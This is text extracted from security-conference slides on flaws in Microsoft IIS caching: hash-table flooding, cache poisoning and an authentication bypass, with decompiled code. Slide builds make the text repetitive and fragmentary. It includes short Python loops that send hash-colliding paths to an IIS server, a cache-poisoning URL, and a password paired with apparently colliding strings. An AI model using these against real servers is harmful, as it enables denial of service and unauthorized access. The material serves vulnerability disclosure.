Orange Tsai - Lets Dance in The Cache - Destabilizing Hash Table On Microsoft IIS
Orange Tsai - Lets Dance in The Cache - Destabilizing Hash Table On Microsoft IIS
Orange Tsai - Lets Dance in The Cache - Destabilizing Hash Table On Microsoft IIS
Th1s-1s-@-Sup3r-Str0ng-P@33w0rD!
DI1D8XF4 T9433W0N R04K85R8 OR7SHSQM 4IDF7LAU
Table["three"] = "lemon"
Table["four"] = "orange"
delete Table["two"]
What is Hash-Flooding Attack?
Drop all records into a same bucket
Degenerate the Hash Table to a single Linked-List
Key Set Buckets
00
00
01
banana
QIH5VQ 02
01
03
lemon
7TZUCP
HASH 04
02
05
orange
…
KJNT08
FUNCTION …
25
26
…
MN6RJL 13
27
apple
H(KEY) % 32
28
14
29
mango
TJDI4X
30
15
31
Key Set Buckets
00
00
01
banana
QIH5VQ 02
01
03
lemon
7TZUCP 04
02
AAAAAA
orange
05
…
KJNT08 …
25
…
26
MN6RJL 13
27
apple
28
14
29
mango
TJDI4X
30
15
31
Key Set Buckets
00
00
01
banana
QIH5VQ 02
01
03
lemon
7TZUCP 04
02
AAAAAA
orange
AA…
05
…
KJNT08 …
25
…
26
MN6RJL 13
27
apple
28
14
29
mango
TJDI4X
30
15
31
Key Set Buckets
00
00
01
banana
QIH5VQ 02
01
03
lemon
7TZUCP 04
02
AAAAAA
orange
AA…
05
… AA…
KJNT08 …
25
…
26
MN6RJL 13
27
apple
28
14
29
mango
TJDI4X
30
15
31
Key Set Buckets
00
00
01
banana
QIH5VQ 02
01
03
lemon
7TZUCP 04
02
AAAAAA
orange
AA…
05
… AA…
KJNT08 …
25
…
26 AA…
MN6RJL 13
27
apple
28
14
29
mango
TJDI4X
30
15
31
Key Set Buckets
00
00
01
banana
QIH5VQ 02
01
03
lemon
7TZUCP 04
02
AAAAAA
orange
AA…
05
… AA…
KJNT08 …
25
…
26 AA…
MN6RJL 13
27
apple
28 AA…
14
29
mango
TJDI4X
30
15
31
AA… AA… AA… AA… AA… AA… AA… AA…
AA…
Key Set
AA… AA… AA… AA… AA…
Buckets
AA… AA…
3. Vulnerabilities
4. Recommendations
Hash Table Implementation
• Memory corruption bugs
• Logic bugs
• E.g. CVE-2006-3017 discovered by Stefan Esser - PHP didn't
distinguish the type of hash-key leads to unset() a wrong element.
Windows Process
Activation Service
(WAS)
HTTP.SYS
IISSvcs (svchost.exe)
Windows Process
Activation Service
(WAS)
HTTP.SYS
applicationHost.config
IISSvcs (svchost.exe)
Windows Process
Activation Service
(WAS)
HTTP.SYS
Worker (w3wp.exe)
applicationHost.config
Windows Process
Activation Service
(WAS)
HTTP.SYS
Worker (w3wp.exe)
applicationHost.config
IIS Modules
Windows Process
static.dll filter.dll
Activation Service
isapi.dll …
(WAS)
HTTP.SYS
Native IIS Modules
FileCacheModule HttpRedirection StaticFileModule
DirectoryListing CustomLogging …
Global Cache Provider/Handler
FileCacheModule HttpRedirection StaticFileModule
DirectoryListing CustomLogging …
Worker (w3wp.exe)
applicationHost.config
HTTP.SYS
Request-Level Notify Events
BeginRequest PreExecuteRequestHandler
AuthenticateRequest ExecuteRequestHandler
AuthorizeRequest ReleaseRequestState
ResolveRequestCache UpdateRequestCache
MapRequestHandler LogRequest
AcquireRequestState EndRequest
Global-Level Notify Events
StopListening TraceEvent
ApplicationStart ThreadCleanup
ApplicationStop CacheCleanup
HealthCheck CacheOperation
ConfigurationChange CustomNotification
FileChange …
Request-Level Cache
BeginRequest
AuthenticateRequest
FileCacheModule
AuthorizeRequest
cachFile.dll
ResolveRequestCache TokenCacheModule
MapRequest cachTokn.dll
ExecuteRequest UriCacheModule
… cachUri.dll
HTTPCacheModule
UpdateRequestCache
cachHttp.dll
LogRequest
EndRequest
Global-Level Cache
Raise Global Notification
BeginRequest GL_CACHE_OPERATION
AuthenticateRequest
FileCacheModule
AuthorizeRequest cachFile.dll
ResolveRequestCache TokenCacheModule
MapRequest cachTokn.dll
UriCacheModule
ExecuteRequest
cachUri.dll
…
HTTPCacheModule
UpdateRequestCache
cachHttp.dll
LogRequest
EndRequest
Outline
1. Introduction
2. Our Research
3. Vulnerabilities
by-default large-bounty demo
a) CVE-2022-22025 - IIS Hash Flooding Attack
b) CVE-2022-22040 - IIS Cache Poisoning Attack
by-default demo
c) CVE-2022-30209 - IIS Authentication Bypass
4. Recommendations
IIS Hash Flooding Attack
CVE-2022-22025
Hash Flooding Attack on IIS
• The Spoiler:
• TREE_HASH_TABLE: Vulnerable to Hash Flooding DoS by default.
• LKRHash: Vulnerable only If a poor Hash Function is configured.
UriCacheModule
200 s
150 s
100 s
50 s
0s
5k 10k 15k 20k 25k 30k 35k 40k 45k 50k 55k 60k 65k 70k 75k 80k 85k 90k 95k 100k
Random Collision
What is this Jitter?
250 s
200
150
100
50
0
5k 10k 15k 20k 25k 30k 35k 40k 45k 50k 55k 60k 65k 70k 75k 80k 85k 90k 95k 100k
Random Collision
1 bool TREE_HASH_TABLE::InsertRecord(TREE_HASH_TABLE *this, void *record) {
2 /* omitting */
3 hashKey = this->vt->GetHashKey(this, record);
4 sig = TREE_HASH_TABLE::CalcHash(this, hashKey);
5 bucket = this->_ppBuckets[sig % this->_nBuckets];
6
7 /* check for duplicates */
8 while ( !bucket->_pNext ) {
9 /* traverse the linked-list */
10 }
11
12 /* add to the table */
13 ret = TREE_HASH_TABLE::AddNodeInternal(this, key, sig, keylen, bucket, &bucket);
14 if ( ret >= 0 ) {
15 TREE_HASH_TABLE::RehashTableIfNeeded(this);
16 }
17 }
1 bool TREE_HASH_TABLE::InsertRecord(TREE_HASH_TABLE *this, void *record) {
2 /* omitting */
3 hashKey = this->vt->GetHashKey(this, record);
4 sig = TREE_HASH_TABLE::CalcHash(this, hashKey);
5 bucket = this->_ppBuckets[sig % this->_nBuckets];
6
7 /* check for duplicates */
8 while ( !bucket->_pNext ) {
9 /* traverse the linked-list */
10 }
11
12 /* add to the table */
13 ret = TREE_HASH_TABLE::AddNodeInternal(this, key, sig, keylen, bucket, &bucket);
14 if ( ret >= 0 ) {
15 TREE_HASH_TABLE::RehashTableIfNeeded(this);
16 }
17 }
1 void TREE_HASH_TABLE::RehashTableIfNeeded(TREE_HASH_TABLE *this) {
2
3 if ( this->_nItems > TREE_HASH_TABLE::GetPrime(2 * this->_nBuckets) ) {
4 CReaderWriterLock3::WriteLock(&this->locker);
5 Prime = TREE_HASH_TABLE::GetPrime(2 * this->_nBuckets);
6
7 if ( this->_nItems > Prime && Prime < 0x1FFFFFFF ) {
8 ProcessHeap = GetProcessHeap();
9 newBuckets = HeapAlloc(ProcessHeap, HEAP_ZERO_MEMORY, 8 * Prime);
10
11 for ( i = 0 ; i < this->_nBuckets; i++ ) {
12 /* move all records to new table*/
13 }
14
15 this->_ppBuckets = newBuckets;
16 this->_nBuckets = Prime;
17 }
18 /* omitting */
19 }
20 }
Questions to be solved…
Site Name
1 import requests
2 from itertools import product
3
4 MAGIC_TABLE = [
5 "XR39M083", "B94OS5T0", "R04I46KN", "DIO137NY", # ...
6 ]
7
8 for i in product(MAGIC_TABLE, repeat=8):
9 request.get( "http://iis/" + "".join(i) )
1 import requests
2 from itertools import product
3
4 MAGIC_TABLE = [
5 "XR39M083", "B94OS5T0", "R04I46KN", "DIO137NY", # ...
6 ]
7
8 for i in product(MAGIC_TABLE, repeat=8):
9 request.get( "http://iis/" + "".join(i) )
Obstacles to make this not-
so-practical…
1. The increment is too slow
2. The Cache Scavenger
• A thread used to delete unused records every 30 seconds
Bad implementation for a rescue!
1 bool TREE_HASH_TABLE::InsertRecord(TREE_HASH_TABLE *this, void *record) {
2
3 /* omitting */
4
5 while ( i <= KeyLength ) {
6 if ( !SubKey[i] ) {
7 SubKeySig = TREE_HASH_TABLE::CalcHash(this, SubKey);
8 record = 0;
9 if ( i == KeyLength )
10 record = OrigRecord;
11
12 ret = TREE_HASH_TABLE::AddNodeInternal(this, SubKey, SubKeySig, record, ...);
13 if ( ret != 0x800700B7 )
14 break;
15 SubKey[i] = Key[i]; // Substitute the NUL-byte to slash
16 }
17 i = i + 1;
18 }
19 /* omitting */
20 }
http://server/AAAA/BBBB/CCCC/DDDD/EEEE/FFFF/GGGG/HHHH/…
▶ SEARCH
SEARCH
1. FindRecord(key="<MACHINE-PREFIX>/AAAA/BBBB/CCCC/DDDD/EEEE/FFFF/GGGG/HHHH/...")
xx
▶ INSERT
1. InsertRecord(key="<MACHINE-PREFIX>/AAAA/BBBB/CCCC/DDDD/EEEE/FFFF/GGGG/HHHH/...")
http://server/AAAA/BBBB/CCCC/DDDD/EEEE/FFFF/GGGG/HHHH/…
▶ SEARCH
SEARCH
1. FindRecord(key="<MACHINE-PREFIX>/AAAA/BBBB/CCCC/DDDD/EEEE/FFFF/GGGG/HHHH/...")
xx
▶ INSERT
1. InsertRecord(key="<MACHINE-PREFIX>/AAAA/BBBB/CCCC/DDDD/EEEE/FFFF/GGGG/HHHH/...")
2. AddNodeInternal(key="<MACHINE-PREFIX>/AAAA/BBBB/CCCC/DDDD/EEEE/FFFF/GGGG/HHHH")
3. AddNodeInternal(key="<MACHINE-PREFIX>/AAAA/BBBB/CCCC/DDDD/EEEE/FFFF/GGGG/")
4. AddNodeInternal(key="<MACHINE-PREFIX>/AAAA/BBBB/CCCC/DDDD/EEEE/FFFF")
5. AddNodeInternal(key="<MACHINE-PREFIX>/AAAA/BBBB/CCCC/DDDD/EEEE")
6. AddNodeInternal(key="<MACHINE-PREFIX>/AAAA/BBBB/CCCC/DDDD")
7. AddNodeInternal(key="<MACHINE-PREFIX>/AAAA/BBBB/CCCC")
8. AddNodeInternal(key="<MACHINE-PREFIX>/AAAA/BBBB")
9. AddNodeInternal(key="<MACHINE-PREFIX>/AAAA")
1 bool TREE_HASH_TABLE::InsertRecord(TREE_HASH_TABLE *this, void *record) {
2
3 /* omitting */
4
5 while ( i <= KeyLength ) {
6 if ( !SubKey[i] ) {
7 SubKeySig = TREE_HASH_TABLE::CalcHash(this, SubKey);
8 record = 0;
9 if ( i == KeyLength )
10 record = OrigRecord;
11
12 ret = TREE_HASH_TABLE::AddNodeInternal(this, SubKey, SubKeySig, record, ...);
13 if ( ret != 0x800700B7 )
14 break;
15 SubKey[i] = Key[i]; // Substitute the NUL-byte to slash
16 }
17 i = i + 1;
18 }
19 /* omitting */
20 }
http://server /Path /Path /Path /Path /Path /Path /Path?
ℎ101 𝑃𝑎𝑡ℎ1
= ℎ101 𝑃𝑎𝑡ℎ1 + 𝑃𝑎𝑡ℎ2
= ℎ101 𝑃𝑎𝑡ℎ1 + 𝑃𝑎𝑡ℎ2 + 𝑃𝑎𝑡ℎ3
= ℎ101 𝑃𝑎𝑡ℎ1 + 𝑃𝑎𝑡ℎ2 + 𝑃𝑎𝑡ℎ3 + 𝑃𝑎𝑡ℎ4
= ℎ101 𝑃𝑎𝑡ℎ1 + 𝑃𝑎𝑡ℎ2 + 𝑃𝑎𝑡ℎ3 + 𝑃𝑎𝑡ℎ4 + 𝑃𝑎𝑡ℎ5
= ℎ101 𝑃𝑎𝑡ℎ1 + 𝑃𝑎𝑡ℎ2 + 𝑃𝑎𝑡ℎ3 + 𝑃𝑎𝑡ℎ4 + 𝑃𝑎𝑡ℎ5 + 𝑃𝑎𝑡ℎ6
= ℎ101 𝑃𝑎𝑡ℎ1 + 𝑃𝑎𝑡ℎ2 + 𝑃𝑎𝑡ℎ3 + 𝑃𝑎𝑡ℎ4 + 𝑃𝑎𝑡ℎ5 + 𝑃𝑎𝑡ℎ6 + 𝑃𝑎𝑡ℎ7
http://server /Path /Path /Path /Path /Path /Path /Path?
ℎ101 𝑃𝑎𝑡ℎ1 = 0
= ℎ101 𝑃𝑎𝑡ℎ1 + 𝑃𝑎𝑡ℎ2 = 0
= ℎ101 𝑃𝑎𝑡ℎ1 + 𝑃𝑎𝑡ℎ2 + 𝑃𝑎𝑡ℎ3 = 0
= ℎ101 𝑃𝑎𝑡ℎ1 + 𝑃𝑎𝑡ℎ2 + 𝑃𝑎𝑡ℎ3 + 𝑃𝑎𝑡ℎ4 = 0
= ℎ101 𝑃𝑎𝑡ℎ1 + 𝑃𝑎𝑡ℎ2 + 𝑃𝑎𝑡ℎ3 + 𝑃𝑎𝑡ℎ4 + 𝑃𝑎𝑡ℎ5 = 0
= ℎ101 𝑃𝑎𝑡ℎ1 + 𝑃𝑎𝑡ℎ2 + 𝑃𝑎𝑡ℎ3 + 𝑃𝑎𝑡ℎ4 + 𝑃𝑎𝑡ℎ5 + 𝑃𝑎𝑡ℎ6 = 0
= ℎ101 𝑃𝑎𝑡ℎ1 + 𝑃𝑎𝑡ℎ2 + 𝑃𝑎𝑡ℎ3 + 𝑃𝑎𝑡ℎ4 + 𝑃𝑎𝑡ℎ5 + 𝑃𝑎𝑡ℎ6 + 𝑃𝑎𝑡ℎ7 = 0
Amplify the attack 10-times at least
by a slight modification
1 import requests
2 from itertools import product
3
4 ZERO_HASH_TABLE = [
5 "/HYBCPQOG", "/XOCZE29I", "/HWYDXRYR", "/289MICAP", # ...
6 ]
7
8 for i in ZERO_HASH_TABLE:
9 request.get( "http://iis/" + "2BDCKV6" + i*12 )
The Result
• HTTPCacheModule
• Use LKRHash
HTTP Cache Module
*.aspx
id
Cache Poisoning While…
key=val1&key=val2
Output Caching key=val1
ASP.NET key=val1,val2
The hacker poisoned…
http://orange.local/hello.aspx?id=Orange
&id=+and+You+Got+Poisoned
hello.aspx
Th1s-1s-@-Sup3r-Str0ng-P@33w0rD!
DI1D8XF4 T9433W0N R04K85R8 OR7SHSQM 4IDF7LAU
https://blog.orange.tw